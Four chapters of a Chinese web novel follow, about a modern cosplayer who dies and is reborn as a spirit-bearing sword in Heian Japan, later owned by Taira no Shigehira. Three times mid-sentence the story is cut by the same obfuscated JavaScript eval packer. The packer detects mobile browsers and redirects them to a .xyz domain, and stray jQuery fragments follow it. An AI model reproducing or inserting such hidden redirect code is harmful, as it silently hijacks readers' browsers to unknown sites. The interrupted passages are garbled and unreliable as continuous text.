《从平安京时期做刃男人》
1. 第 1 章
“知啦——知了啦”
蝉鸣在窗外像个不停,床上的人也随着蝉鸣的节奏辗转反侧。
“知啦——知啦——”
“吵死了!”
晚江行久怒气冲冲的将身上的被子一把掀开,冲着屋外的蝉怒吼道:“知不知道周末扰人清梦是会被天打雷劈的!”
蝉不语,只一昧的知啦知啦。
晚江行久揉了揉自己被睡得毛燥的黑发,懊恼自己竟然和一个蝉斗气。
打开手机一看,好基友发来了几个催促的表情包。
“快点收拾好自己,别又像之前那样睡过头。”
他打了个哈欠,单手回复:“知道啦。”
晚江行久站在镜子前仔细梳理自己的假发。
他和基友约好今天一起去漫展搞oc,基友的尚且不清楚,他一直藏着掖着不让晚江行久看。
我可是毫无保留的给他看了我的人设!晚江行久愤愤不平的想。梳理好假毛后,他将服装、道具都装进自己的大背包里。
他毕竟是个直男,虽然有练过化妆但效果非常不进人意。
用他好基友的话来说就是:“离神很近,离人很远了。”
自从被基友嘲笑后,他就再也没自己画过妆容,都是去外面找妆娘。
晚江行久小心翼翼的躲过拥挤的人群,幸好正午的电车人不是很多,他才得以找到一个角落蹲着。
窗外的风景一直变化着,电车速度快的连景物都模糊了。
不对!
晚江行久惊觉今天电车的行驶速度比之前要快,这样下去很容易脱轨造成事故。
他立马按响紧急刹车,可终究还是晚了。
身体像被强行挤在沙丁鱼罐头里,灵魂慢慢拖出。
晚江行久能很明显感觉到天翻地覆,一阵麻木过后,他躺在树杈上,准确来说是一根树杈穿过了他的腹部。
透过衣物能清楚看到他的腹部被树枝开出来一个洞,正在流血不止。
血液多的连伤势如何都看不清楚了。
死亡在蔓延,他能清楚的感受到生命的流逝。
不远处,他带来的衣物散落一地,临走之前细心打理的假发也变得东一块西一块的。
离他最近的是道具刀,外表是红金色刀鞘,里面是被千锤百炼出来的刀纹。
刀已经与刀鞘分离,幸好没有断裂。
晚江行久自嘲的感叹——不愧是我省吃俭用三个月专门找正式刀匠制作的刀剑,质量就是比我好。
然而下一秒,刀剑没有预兆的就裂开了,那断裂的脆响格外清晰。
……还是夸早了,还我血汗钱啊!破刀匠!
即使有再多不甘与怨怼,也阻止不了意识的滑落。
黑暗涌来时,他最后的念头是:原来死亡,是这样冰冷而寂静的触感。
过了多久,晚江行久在彻骨的寒意中苏醒。
他本能的想要睁眼却发现眼皮沉重的如同坠着铅块。
试图挪动身体,却被无形的枷锁禁锢。
四周浓稠的黑暗中某种细微的震颤从脚底传来。
像是远方传来的战鼓,又像是他之前曾在锻造房里听到的此起彼伏的锤击声。
“这是哪里?”
他想要开口,却发不出任何声音。
完了,该不会成植物人了吧。
绝望如潮水般漫过心头,直到一缕若有若无的檀香混着铁锈味钻进鼻腔。
还好还好,还能闻到味道。
晚江行久内心庆幸着,这味道说不上好闻,却给了他一丝希望。
黑暗中待久了,就有些无聊了。
晚江行久找乐子似的试图挪动身体证明自己还有意思,不要判断脑死亡啊。
尝试不过片刻,没有反应,遂放弃。
本来出发前就没睡好,经历过一场大难后更是身心俱疲,随着恐慌慢慢散去,睡意就涌了上来。
反正动不了,先睡一觉在说。
抱着这样的想法,晚江行久沉入了恬静的梦乡。不知过了多久,一个苍老而虚弱的声音如同一道穿透迷雾的光在黑暗中悠悠响起。
“已经有灵了吗,那正是锻刀的好材料。”
伴随着这样的声音,晚江行久所附着的物体被搬起放在背篓里,摇摇晃晃的下了山。
晚江行久见没有危险,就继续睡了过去,没注意到老人口中的锻刀材料是自己。
等他再次醒来时,周围已是一片烈火。
“烫!哎?不烫?”
烈火没有带给晚江行久灼伤感,反而是一种暖烘烘的感觉。
晚江行久情不自禁的挪到更温暖的地方,也正是因为这个原因,他才发现自己能挪动微小的动作。
“不要乱动,火候过了锻出来的刀就不好了。”
那道苍老的声音再次响起,晚江行久心头一惊,努力想要分辨声音的来源和方向。
他费力地“睁”开意识,却发现自己没有眼睛——或者说,他现在根本不是“人”的形态。
周围是跳动的火光,噼啪作响的柴火映着石砌的灶台,而他正躺在一块被烧得通红的铁砧上。
那苍老的声音来自灶台边的老者,对方正举着一柄沉重的铁锤,浑浊的眼睛里映着火光,也映着铁砧上那截泛着奇异光泽的金属。
晚江行久这才惊觉,自己现在竟然是一截金属?!
“锻刀材料……是我?”他在心里尖叫,却发不出任何声音。难怪刚才感觉不到烫,难怪动不了——他变成了一块待锻造的铁坯!
老者的锤子落了下来,带着千钧之力砸在他“身上”。
没有预想中的剧痛,反而是一阵奇异的震颤,仿佛每一寸金属都在跟着共鸣,那些在车祸中残留的破碎感、疼痛感,竟随着这一锤慢慢消散了些。
“不错的底子,就是杂气太重。”老者喃喃自语,又一锤落下,“得好好敲打出那些凡俗的浊气才行。”
晚江行久快疯了。
他可是个活生生的人类,不是什么破铁块!
他还要去漫展,还要跟基友比oc,还要去找那个骗钱的刀匠算账……怎么就变成一块要被锻成刀的破铁了?!
锤子一下接一下落下,火光中,他能感觉到自己的形态在变化,从一截不规则的金属块,慢慢被敲打成长条形。
每一次锤击,都像是在剥离他过去的痕迹——车祸的剧痛、对死亡的恐惧、甚至连作为“晚江行久”的记忆,都开始变得模糊。
“不行……不能忘……”他拼命抵抗着,脑海里闪过基友催他的表情包,闪过自己精心打理的假发,闪过那把被他吐槽却终究心疼的道具刀,“我是晚江行久……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978056|177901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
老者似乎察觉到了什么,停下锤子,用粗糙的手指抚摸着发烫的金属坯:“还在挣扎吗?也好,有执念,锻出来的刀才够锋利。”
他重新举起锤子,这一次的力道更沉,落点也更精准。
晚江行久感觉自己的意识像是被揉碎了又重新捏合,痛苦和一种莫名的舒畅交织在一起。
不知过了多久,当最后一锤落下时,老者长长舒了口气,将通红的刀坯浸入冷水。
“滋啦——”
白雾升腾中,一柄长刀的轮廓渐渐清晰。
刀身修长,泛着冷冽的寒光,刀纹比晚江行久之前那把道具刀还要繁复精美,仿佛有流光在纹路间游走。
“我是藤原行久,既然是我晚年时锻造出来的刀剑,那你就叫晚江行久吧。”
模糊的意识,随着这一声的名字彻底清晰。
“哎呦喂吓死我了,还以为以后就会变成行尸走肉。”
晚江行久想要拍拍胸脯安慰一下自己的小心脏,突然意识到自己变成刀后没有心了。
“藤原行久?这名字咋有点耳熟。”
他翻了翻自己的脑海中的记忆册,在名为历史杂记那一栏找到藤原行久的资料。
平安时代中期著名刀匠,其作品以美丽的外观和精湛的工艺著称,刀刃线条如优美弧线,且锋利度和坚固度俱佳。
可就是这样著名的刀匠却没有任何一把刀剑留存下来,只能让后人对着史书揣测他的锻造技艺究竟有多高超。
重点不是这个,重点是他还活着,也就是平安时代中期,而我,人类晚江行久,变成了刀剑付丧神晚江行久!
晚江行久的意识在刀身里翻了个跟头——虽然他现在根本没有跟头可翻。
付丧神?那不是他oc设定里的东西吗?当年为了让人设更带感,他还特意查了一堆古籍,说器物用久了会生灵,尤其是刀剑这类沾染过执念的,最容易化形。
没想到有一天,自己成了设定里的存在。
藤原行久用布擦着刀身,动作轻柔得像在抚摸稀世珍宝:“你这灵识倒是活泼,比我年轻时锻的那些死物有趣多了。”
他把刀靠在墙角,转身去灶上添了把柴,“等过几日开了刃,带你去山下试试手。”
试手?是砍树还是砍人?
晚江行久赶紧在心里摆手——他可是遵纪守法的好公民,这辈子除了拆快递从没动过真刀,更别说用刀“试手”了。
可他现在连摆手的机会都没有。
刀身被稳稳地立在墙角,他能“看”到窗外的月亮爬上山头,能“听”到老者在草席上翻身的声响,甚至能“闻”到墙角霉斑的味道。
这种全感官却无实体的状态,让他浑身(如果刀有浑身的话)不自在。
夜里,他试着调动意识,想看看能不能像传说里那样化形。
脑子里拼命想着自己穿oc服的样子——金红相间的劲装,腰间挂着刀,头发用发带束在脑后……可刀身除了微微颤了颤,连道影子都没晃出来。
“急什么。”藤原行久的声音突然在黑暗里响起,“器物成灵,需得慢慢来。你心里杂念太多,倒是先学学怎么沉住气。”
晚江行久悻悻地歇了菜。
也是,他现在满脑子都是漫展、基友、没找刀匠算账的怨念,还有对这个陌生时代的恐慌,确实沉不住气。
2. 第 2 章
接下来的几天,藤原行久每天都要擦拭他,用特制的油脂涂抹刀身,偶尔还会对着他絮叨几句。
说年轻时路过京城,见过贵族腰间的名刀;说某次锻造失败,心疼了半个月的好铁;说山下的樱花快开了,往年这个时候总有人来求他锻打赏花用的小刀……
晚江行久听得昏昏欲睡,却又忍不住记住这些细节。
原来史书上只字未提的藤原行久,是这样一个爱唠叨的老头。
直到第七天,藤原行久拿着一块磨石坐在院中,要给刀开刃了。
磨石摩擦刀身的沙沙声格外清晰,每一次打磨,都像是在剥离他身上最后一层凡尘。
晚江行久能感觉到刀刃变得越来越锋利,一种冰凉的锐气从刀尖蔓延到刀柄,仿佛有什么东西要从金属里挣脱出来。
“好了。”藤原行久拿起刀,对着晨光举起。
刀身映着朝阳,寒光晃得晚江行久差点“睁”不开眼——刀刃薄如蝉翼,刀纹在光线下流转,竟像是他oc设定里那把“晚江行久”的复刻版。
是碰巧吗?鬼才信啊!
晚江行久算是明白了,合着都是这把刀惹出来的祸,也不知道自己还能不能回去。
“去试试吧。”老者把刀递给空气,“顺着你的心意走,想去哪,便去哪。”
晚江行久一愣。他能走?
还没等他反应过来,刀身突然轻得像片羽毛,竟真的自己飘了起来。
他下意识地“想”着要去看看山下的样子,刀就带着他飞出了院子,掠过竹林,落在一片樱花树下。
树下站着个穿狩衣的白发红挑染少年,正对着花瓣出神。
听到动静,少年猛地回头,眼里闪过惊艳:“好漂亮的刀!”
晚江行久刚想得意,却见少年伸手要抓刀柄。
他赶紧调动意识,刀身“嗖”地一下飞到半空,绕着少年转了两圈——想碰我?先问问我这灵魂同不同意!
少年被逗笑了,仰头望着空中的刀:“你是有灵的刀吗?我叫源赖光,你愿意跟我走吗?”
源赖光?!晚江行久差点从半空栽下来。
具有极高的军事成就与文化成就的那个?还是阴阳师那个?
不过我都会飞了,应该是后者吧。
刀身猛地转了个方向,朝着藤原行久的小屋飞去。开玩笑,跟大反派走?他宁愿回炉重造!
身后传来少年的笑声:“我会再来找你的!”
晚江行久一头扎进老者怀里,刀鞘“哐当”撞在门框上。
藤原行久摸着刀身笑:“这就遇上有缘人了?看来你的日子,不会无聊了。”
晚江行久在心里哀嚎——何止不无聊,这简直是太糟糕了,百鬼盛行,千里无人烟可不是闹着玩的!
或许是这次飞行灵力用的太多了,晚江行久又沉入了深深的睡眠当中。
等他再次醒来时,藤原行久已经卧病在床多日了。
他的床榻前烛火摇曳,手里还紧紧撰着晚江行久的本体。
塌下跪着一个中年人,腱子肉格外紧实,一看就知道是个打铁的好把式。
藤原浩的泪水止不住的往下流淌,水滴落在老人的手上,顺着布满裂痕的指甲流淌下来。
那是四十年锻造生涯留下的印记,是他追求的技艺极致的证明。
“别...别哭,我大限就是这了,神明也改变不生命轮回,你还有一身天赋与极好的未来,我不担心。”
藤原行久的声音轻得像风中残烛,指节因为攥紧刀鞘而泛白,却仍努力抬了抬手腕,似要去拍藤原浩的肩。
“可这孩子...它是我锻造出来的最后一把刀剑,还没有找到主人,之后就拜托你了……”
藤原浩哽咽着点头,粗糙的手掌覆上老人枯瘦的手背,那上面的裂痕比他打铁的砧子还要深。
“我知道,我知道...您教我的,刀有灵,遇有缘人便活了。”
老人费力的点点头,最后一件事交代完,手便捶了下去。
烛火“噼啪”爆了个灯花,映得藤原浩的影子在墙上抖得不成样子。
晚江行久躺在冰冷的刀鞘里,忽然觉得刀身一阵发烫。
他能感觉到藤原行久最后一丝灵力顺着刀柄渗进来,温温的,像老人锻造他时烧起的火炉。
“喂,老头...”他在心里嘟囔,却发不出任何声音。
明明记忆中前几日还在抱怨这老头总用布擦他擦到发亮,此刻却连他咳嗽的声音都听不到了。
藤原浩把老人的手轻轻放回被中,目光落在那把刀上时,忽然红了眼眶。
“晚江...晚江,以后就剩你我了。”
“爹,您放心。”他抱起刀,指腹抚过冰凉的刀鞘,“我会看着它的。”
晚江行久没再说话。
他的灵识缠绕着藤原行久的躯体,等一缕青烟冒出,他立即上去擦了干净。
一些小恩小怨被擦掉了,剩下的,就是纯正的灵魂。
“这样你下地府,也不用遭受跋涉之苦了,自有鬼差带路。”
晚江行久喃喃自语道,狠心将灵识缩了回去,不再去看藤原行久的遗体。
由于日本古代平民地位底下,遗体只得以一张草席一卷,丢入墓中完事。
藤原行久的葬礼也不例外,白天逝去,晚上藤原浩就挖好了坑埋了进去。
藤原浩跪地磕了两个头,简单摆放了点贡品,就带着晚江行久走了。
铁匠铺的灯还亮着,炉子里的火早熄了,只剩些余烬在暗红地跳。
他把晚江行久放在锻造台上——就是那块被老人敲了四十年,凹下去一小块的铁砧旁。
然后转身去翻工具箱,翻出个木盒,里面是些零碎的银片,边角还带着锤打的痕迹。
“爹说你刀鞘上该镶点东西,说这样‘有精神’。”藤原浩拿起银片,笨拙地往刀鞘上比量,“我手笨,没爹的巧劲,你……别嫌弃。”
晚江行久没动。他看着男人粗糙的手指捏着细小的银片,好几次被边角划破,血珠滴在刀鞘上,像极了老人开刃时溅上的火星。
这血,是热的。
忽然间,刀身轻轻颤了颤。
藤原浩一愣,抬头时,见刀鞘上那些暗纹竟泛起微光,把他滴在上面的血珠吸了进去,顺着纹路漫开,像活了的红丝线。
“这是……”他惊得后退半步。
晚江行久也懵了。
他能感觉到一股暖意从刀鞘蔓延开来,不是藤原行久留下的灵力,是眼前这个男人的血,带着铁与火的气息,正一点点和他的灵识缠在一起。
“爹没骗我……”藤原浩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978057|177901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的声音里突然有了哭腔,又带着点笑,“你真的有灵……”
风从窗缝钻进来,吹得烛火晃了晃。
锻造台上的刀轻轻跃起,落在藤原浩手边,刀鞘上的银片被那微光托着,竟自己嵌进了该在的位置,严丝合缝。
晚江行久在心里叹了口气。
算了,反正也不知道怎么回去。
他借着微光,让刀身在男人手背上轻轻蹭了蹭,像在拍他的肩。
藤原浩怔愣了一下,下一刻,飘在半空的晚江行久被紧紧拥入怀中。
你一身的汗!离我远点!!
晚江行久刀鸣不止,藤原浩还以为是对自己的安慰,将他拥的更紧。
反抗不了就只能躺平呗。
他摆烂的被肌肉夹着,一动也不动。
“我一定会给你找个顶天立地的大英雄当主人的!”
大可不必啊孩子。
晚江行久刀鞘上镶嵌的银片闪烁了一瞬,又重新黯淡下来。
接下来的日子里,藤原浩一边锻炼着自己的锻刀技艺,一边游走于各大权贵之间。
他带着被素绢裹着的晚江行久挨个挨个敲门,愿意见他面的也不过数人,其中能称为英雄的更是寥寥无几。
藤原浩的脊梁越来越弯曲,除了长期躬身打铁的原因外,还有他一次又一次俯身跪拜那些所谓贵族的原因。
“没关系的”他粗粝的手抚摸着晚江行久的刀身,不知是说给晚江行久听还是自己听,“好事不怕多磨,你是我爹生前最后的杰作,以后也一定会跟随大人物征战。”
京都的枫叶红透时,藤原浩站在平氏宅邸朱门前。
扣响门栓不过几息,就有内侍过来开门。
此时的藤原浩已经打出了几分名堂,当的住一句“藤原大师”。
报出自己的来意后,内侍示意他稍等,要去通告住家。
不过片刻,便大开朱门,一位小少年站在门后,着眼不过十二三岁的年纪,规矩已学得像模像样。
少年身着藏青狩衣,领口绣着暗金色的平氏家纹,见了藤原浩,略一颔首:“父亲在正厅等候,请随我来。”
他步子迈得稳,不疾不徐,倒比寻常同龄孩童多了几分沉静。
晚江行久被素绢裹着,贴在藤原浩胸前,能听见少年衣摆扫过地面的窸窣声,还能闻到他发间淡淡的梅香——是贵族常用的熏香,与铁匠铺的铁锈味截然不同。
正厅里燃着炭火,暖意烘得人发懒。
一个满脸络腮胡的大汉靠坐在主坐上,开口便是高高在上的感觉。
“听说你有柄好刀?”
藤原浩忙将晚江行久捧过头顶,素绢滑落的瞬间,刀身映着炭火的光,竟泛出一层温润的红。
“此刀名‘晚江行久’,是家父藤原行久临终前的收官之作。”他声音发紧,膝盖几乎要弯下去,“恳请大人品鉴。”
中年人终于抬眼,目光落在刀上时,瞳孔微缩。他示意少年:“去,拿过来。”
少年上前接过刀,指尖刚触到刀柄,晚江行久突然“嗡”地一声震颤起来。
不是抗拒,是一种奇异的共鸣——这少年的灵力竟带着几分清冽的水意,像极了藤原行久院子后面那条流过竹林的小溪。
“哦?”中年人挑眉,“倒是柄有性子的刀。”
3. 第 3 章
“父亲,”少年的声音清清脆脆,“它很利。”
中年人笑了,终于站起身,走到少年身边打量那刀:“平家正值用人之际,这般好刀该配良将。只是……”他话锋一转,目光扫过藤原浩,“你想要什么?”
藤原浩猛地抬头,眼里亮得惊人:“不求金银财宝,只求一个承诺。”
“什么承诺,说来听听?”
“不论什么时候,都要将刀配在身上。”
“不论什么时候,都要将刀配在身上?”大汉摸了摸络腮胡,眼里闪过一丝诧异,随即哈哈大笑,震得正厅梁上的灰尘都簌簌往下掉,“你这要求,倒比要金银古怪得多!寻常武士上阵才佩刀,居家、赴宴哪有整日带着刀的道理?我平家子弟,规矩最重,总不能让他佩着刀去给天皇请安吧?”
藤原浩的脸涨得通红,却梗着脖子不肯低头:“如若不愿,我自带刀另择良主。”
平氏家主眼睛微眯,言语间含带着威胁,“若我非要这把刀,你当如何?”
藤原浩猛地站起身来,将少年手中的刀夺走竖在自己腹前,“那我切腹自尽!”
他手中的晚江行久震颤不已。
大哥你等等,我不想用你来试刀啊!不就择个主嘛至于死去活来的嘛?!我愿意我愿意啊!!
正当双方僵持不下时,少年突然开口,声音清亮得像敲玉磬:“父亲,我愿意。”
大汉瞪向他:“重衡!”
“孩儿佩刀赴宴,可将刀鞘缠上锦缎;面见天皇,便将刀暂交内侍保管,离身不超过三步。”
“离身不超过三步?”大汉眉头拧成个疙瘩,手指在案几上咚咚敲着,“你当宫廷内侍是摆设?哪有让兵器离天皇三步之内的道理!”
平重衡却不退让,握着刀柄的手更紧了些:“那便请内侍捧着刀,站在三步外的廊下。待孩儿请安完毕,即刻取回。”
他抬眼望向父亲,眼里的执拗竟与藤原浩如出一辙,“此刀有灵,孩儿能感觉到它的心意——它怕生,离得远了会不安。”
晚江行久在心里翻了个白眼:谁怕生了!我是怕这傻大个真把我往肚子上戳啊!
可刀身却很给面子地“嗡”了一声,像是在应和少年的话。
大汉盯着儿子看了半晌,又瞅瞅藤原浩那副“刀在人在”的架势,忽然嗤笑一声:“罢了!我平家的儿郎,护一把刀还护不住?就依你这法子!”
他转向藤原浩,语气里带了几分不耐,又藏着点赞许,“你这匠人倒是护刀如命。说吧,要多少金判?再给你块上好的玄铁,够你打十把刀了。”
藤原浩却摇了摇头,捧着素绢深深一揖:“不敢再求赏赐。只求少主日后遵守自己的诺言。”
平重衡低头看着刀身,忽然抬手解下腰间的令牌——一块成色极好的檀木,上面雕着平氏家纹。
他将令牌塞进藤原浩手里:“这个您收下,这不是酬劳,是谢礼,谢您和老匠人,为我铸了这么好的刀。藤原以后若遇到什么麻烦,可以用这个令牌去找身着平氏家徽的武士。”
藤原浩捏着那块温凉的令牌,眼眶微热。
他转身往外走时,听见身后少年轻声说:“晚江行久,你是我的刀了。”
晚江行久被平重衡佩在腰间,走出正厅时,正撞见廊下的枫叶落了少年一肩。
“以后啊,”平重衡低头对刀笑了笑,“我读书时,你就躺在书页旁;练剑时,你就陪我劈砍风里的落叶;等我长大了,带你去看濑户内海的浪——我爹说,那里的浪比京都的枫叶还要红呢。”
晚江行久没动静,心里却松快了些。
管他什么三步之约,管他什么平家源家。
至少此刻,刀在人在,且这人眼里有光,心里有暖,倒比跟着什么“大英雄”靠谱多了。
话可能说早了。
自从跟了平重衡后,他就真的贯彻不论吃穿住行都要和晚江行久待在一起。
可是如厕就真的没必要带我了吧!!
晚江行久感觉自己被颠得快要散架时,终于听见平重衡解开腰带的窸窣声。
他绝望地想:这傻小子是真把“刀在人在”刻进骨子里了?连这种时候都舍不得把我挂在外面的挂钩上?
冰凉的刀鞘贴着少年的腰侧,晚江行久能清晰地听见周遭的动静——檐角风铃叮当作响,远处侍女们低低的说笑声,还有……平重衡那略显局促的呼吸。
少年忽然低头,对着腰间的刀小声嘀咕,“你会不会觉得我太较真了?其实我就是……就是怕把你弄丢了。”
晚江行久翻了个无声的白眼:现在知道怕了?方才把我往茅厕带的时候怎么不想想!
刀身故意“咔”地轻响一声,像是在表达不满。
平重衡却以为它在撒娇,抬手轻轻拍了拍刀鞘:“好啦好啦,委屈你了。
等会儿回去就给你擦三遍油,用新磨的鹿皮,保证比镜子还亮。”
晚江行久:……大可不必。
正腹诽着,忽然听见廊下传来急促的脚步声,伴随着侍从慌张的呼喊:“少主!天皇那边遣内侍来了,说要提前见您!”
平重衡“哎呀”一声,匆忙提好裤子,手忙脚乱地系腰带时,差点把晚江行久甩到地上。
晚江行久吓得赶紧绷紧刀身——祖宗!这要是摔出个豁口,我找谁哭去!
好在平重衡反应快,一把捞住刀鞘,脸上还带着点未褪的红晕:“抱歉抱歉,差点摔着你。”
他一边快步往外走,一边低声安抚,“别怕,按方才说好的,让内侍捧着你站在三步外,我很快就回来接你。”
平重衡乘着牛车,缓缓驶过路边低矮的房屋。
平民住的房子大多是一层,只有地位高尚的贵族才能盖两层或三层。
晚江行久放出灵识在附近晃悠一圈,见百姓虽然躲着贵族,但至少衣蔽体脚有鞋,统治者应当没有剥削到极致。
穿过一道颜色稍微华丽的拱门,跟随在一旁的侍者就停下了脚步,“请平氏少主下车步行。”
平重衡利落地下了牛车,顺手将晚江行久往腰间紧了紧,指尖触到刀鞘上微凉的锦缎时,还不忘低声叮嘱:“一会儿见了天皇,可不能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978058|177901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像方才那样闹脾气了。”
晚江行久简直想给这傻小子来个刀鞘击顶——谁闹脾气了?那是我的节操!
穿过拱门的刹那,周遭的气息骤然肃穆起来。青石板路被打扫得一尘不染,两侧侍立的武士皆身形魁梧,手按刀柄,目光锐利如鹰。
晚江行久下意识绷紧了刀身,灵识扫过之处,竟有好几道隐晦的窥探若有若无地缠了过来,又在触及平重衡腰间的家纹时悄然退去。
“看来这平家少主的身份,倒是比那三步之约管用。”晚江行久暗自嘀咕。
行至大殿门前,果然有内侍上前躬身:“少主,兵器请暂存。”
平重衡抿了抿唇,将晚江行久解下时,指腹在刀鞘上摩挲了两下,像是在做什么重要的约定。
他把刀递给内侍,眼神却紧紧跟着:“就站在廊下第三根柱子旁,不许挪地方。”
内侍捧着刀的手微微一顿,终究还是低眉顺眼地应了:“是。”
晚江行久被搁在冰凉的廊柱边,看着平重衡的背影消失在朱漆门后,忽然觉得有些好笑。
这少年护着他的样子,倒像是在守护什么稀世珍宝,可谁能想到,这“珍宝”此刻正竖着耳朵,拼命想听清殿内的动静。
可惜殿内的说话声被层层帷幔挡着,只隐约传来几句晦涩的敬语。
晚江行久百无聊赖地晃了晃刀身,却见方才退去的气息又悄然聚拢,这次竟直奔他而来!
“啧,冲着我来的?”晚江行久凝神戒备,刀身忽然发出一声清越的嗡鸣,震得廊下的树叶簌簌落下。
那几道气息像是被烫到一般,匆匆缩了回去。
在暗处的藏刀室里,几振刀剑正在嗡鸣不停。
其中一振朱红色外鞘,刀柄弯曲的太刀露出了几丝灵气,一个人形从空中缓缓而降。
来者乌鸦发髻,眼尾拖漪着一抹红痕,身着红黑双层纱衣,毛茸茸的鸢尾花装饰披在一侧。
“是新来的子代吗?”
其他刀剑嗡鸣声暂歇,不知是灵力散尽还是安心由小乌丸去接引新人。
当他迈开脚步打算顺着震慑他的灵力踪迹去找晚江行久时,藏刀室的门外传来仆从小心紧凑的脚步声。
小乌丸只得遗憾的看了眼灵力的方向,一阵风吹去,原地已不见他的踪影。
赶来的仆从推开沉重的大门,恭敬的将陈列在缎锦之上的小乌丸捧下,放入用乌木锻造的刀架之中。
随着关上大门的一声闷响,藏刀室里的刀剑灵力溢出,缠绕着其他刀剑,在交流着什么。
“乌殿会被带到哪去?”“不知道,那个新来的刀剑怎么办,谁来接应他?”“你就这么确定来的是刀剑付丧神,万一是其他的呢?”
这些都是问题,光争执是给不出解决的方法。
一柄直刃调浅,丁子足纹路的刀剑像是忍不了光待着不干事,白光炸现,一个身着头发绵长,外黑里白的青年出现在地面。
他正是由平安京顶级刀匠青江恒次所锻造,一出世就被日莲上人随身携带,后被贵族献给皇室的数珠丸恒次。
4. 第 4 章
数珠丸恒次缓缓睁开眼,绵长的黑发随着他起身的动作轻轻晃动,外白里黑的长发扫过地面时,带起一阵极淡的灵力波动,瞬间压下了周围刀剑的窃窃私语。
“不必焦躁。”他的声音平静得像深潭,却带着不容置疑的笃定,“乌殿既已动身,自有他的因果。至于新来的……”
他抬手轻轻抚过腰间刀柄,那里仿佛还留着当年日莲上人缠过念珠的温润触感,“灵力轨迹尚未消散,我去看看便是。”
随着大门重新打开,属于数珠丸恒次温和强硬的灵力向着未消散的踪迹追去。
途中经过了大殿,他在哪里感应到小乌丸的灵力波动,于是驻足观察了一会。
殿中,隶属于中央贵族派系平氏的平重衡和属于关东豪强源氏的源赖光一同站在大殿。
两人的家族实力鼎盛,又互相挟持,拥有面见天皇而不跪的特许。
小乌丸被仆人捧着,恭敬的站在身后。
两人都是有底蕴的家族子弟,自然也从长辈口中得知小乌丸是有灵的。
台上,天皇被屏风掩住身影,只能听见他的声音幽幽飘来,“卿等皆是有功之臣的后代,原本应一人赏赐一柄绝世名刀,奈何名刀有灵,愿意择主的就这一位。”
屏风后的声音顿了顿,带着几分难以捉摸的意味:“小乌丸既已显露出认主之意,便由你二人自行商议归属吧。”
源赖光上前一步,绯色直衣的下摆扫过地面,语气带着关东豪强的自傲:“重衡君觉得,不如以比试定归属?我源氏子弟弓马娴熟,定能让名刀不负其锋。”
平重衡却只是抚着腰间本该挂着晚江行久的空档,墨色襕衫衬得他面容愈发清冷:“刀剑择主,凭的是心意而非蛮力。赖光君若真懂刀,该知强求不得。”
两人目光相触,空气中似有无形的火花炸开。
小乌丸静静躺在缎锦中,刀身微颤,灵力在两人之间游移——源赖光的灵力如烈火奔涌,平重衡的气息却似深潭藏锋,都不是寻常武者。
刀剑易主本是常事,更别说小乌丸是宫内年岁最大的刀剑,如何择主对他来说已经是一种本能,不用数珠丸恒次担心。
数珠丸恒次的灵力调转过头,继续沿着晚江行久的踪迹前进。
没过几步,就找到守在门口的晚江行久和拽着他不放的内侍。
晚江行久整把刀都飞腾在空中,往殿门靠去。
他刀身震颤不已,动作剧烈的连刀鞘都要被抖了下来。
晚江行久操纵着刀身,说着没有灵力的人不能听见的话,“放开我!让我去听墙角啊!”
内侍自然不明白晚江行久这么激烈的原因。
他只当是这柄贵族的名刀性子烈,忙用锦帕裹紧刀柄,压低声音哄劝:“好刀,好刀莫闹,殿内正议事呢,惊扰了陛下和两位大人,仔细你的刀刃。”
作为现代人的晚江行久虽然不明白古代底层人民究竟有多低下,但好歹也算看过几部大河剧,不愿为难这个内侍。
可听不到里面的谈话内容好焦急。
见晚江行久不再想往殿里面冲,而是在原地转圈圈后,内侍松了一口气,放松了手腕上的警惕。
“好机会!”
晚江行久忽然挣脱束缚,刀鞘“哐当”一声砸在廊下,雪亮的刀身直直射向大殿。
内侍惊呼的去捞,却只捞到刀鞘。
先溜入大殿,然后靠着自己刀剑细长的优势躲到柱子后面,等平重衡出来的时候再悄悄跟着出来。
完美!
事情不如晚江行久所想的那般顺利,他在第一步就折戟了。
数珠丸恒次的灵力挡在他面前,温柔的包裹住他,甚至连一丝冲击力都没有泄露出来。
晚江行久这才意识到,现场不止有自己一个成灵的。
他好奇的戳戳面前阻挡他的灵力,问道:“hello?你好?こんにちは?你也是现代来的吗?”
虽然不懂这个新生的刀剑前面几句话是什么意思,但听懂了是在和自己打招呼。
数珠丸恒次的灵力微微波动,像是在回应他的问候。
他抬手握住晚江行久的刀身,温凉的指尖贴着刀刃,声音平静地传入晚江行久的灵识:“吾乃数珠丸恒次。”
晚江行久愣了愣,刀身歪了歪:“数珠丸?你不是跟着日莲上人吗,怎么会在这儿?”
他一连串的问题砸过来,带着现代人特有的跳脱。
